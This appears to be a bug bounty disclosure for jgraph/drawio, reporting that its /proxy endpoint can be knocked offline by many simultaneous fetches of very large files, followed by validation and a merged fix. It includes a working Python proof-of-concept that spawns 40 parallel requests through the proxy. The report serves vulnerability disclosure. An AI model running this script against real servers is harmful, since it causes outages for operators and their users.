proxying Big files leads to potential DOS [/proxy] in jgraph/drawio

Valid

Reported on

May 25th 2022


Description

consider following script and put drawio_docker_instace your address and also big_file_address should be serve a big image file ( > 250 MB)

exploit.py

from multiprocessing import Process
import requests

def fun():
    try:
       requests.get("http://drawio_docker_instace/proxy?url=http://big_file_address/1.jpg")
       print("OK")
    except:
        print("error from server")

def main():
    for i in range(1,40):
        p = Process(target=fun, args=())
        p.start()

if __name__ == '__main__':
    main()

I upload forty 250MB photos at the same time, and the server hangs up, you can check it yourself with my POC.py exploit

Impact

High damage on Availability of server, In my tests the docker instance was stopped working. because the drawio ran on the same docker of the mentioned methods, then the whole application can be damaged by this attack. So I prefer to set the availability of CVSS to high

Note

my test server was a 1GB RAM, 1 core CPU ( basic plan ) high IO pins from upcloud.

We are processing your report and will contact the jgraph/drawio team within 24 hours. a month ago
David Benson validated this vulnerability a month ago
amammad has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
David Benson confirmed that a fix has been merged on 064729 a month ago
The fix bounty has been dropped
to join this conversation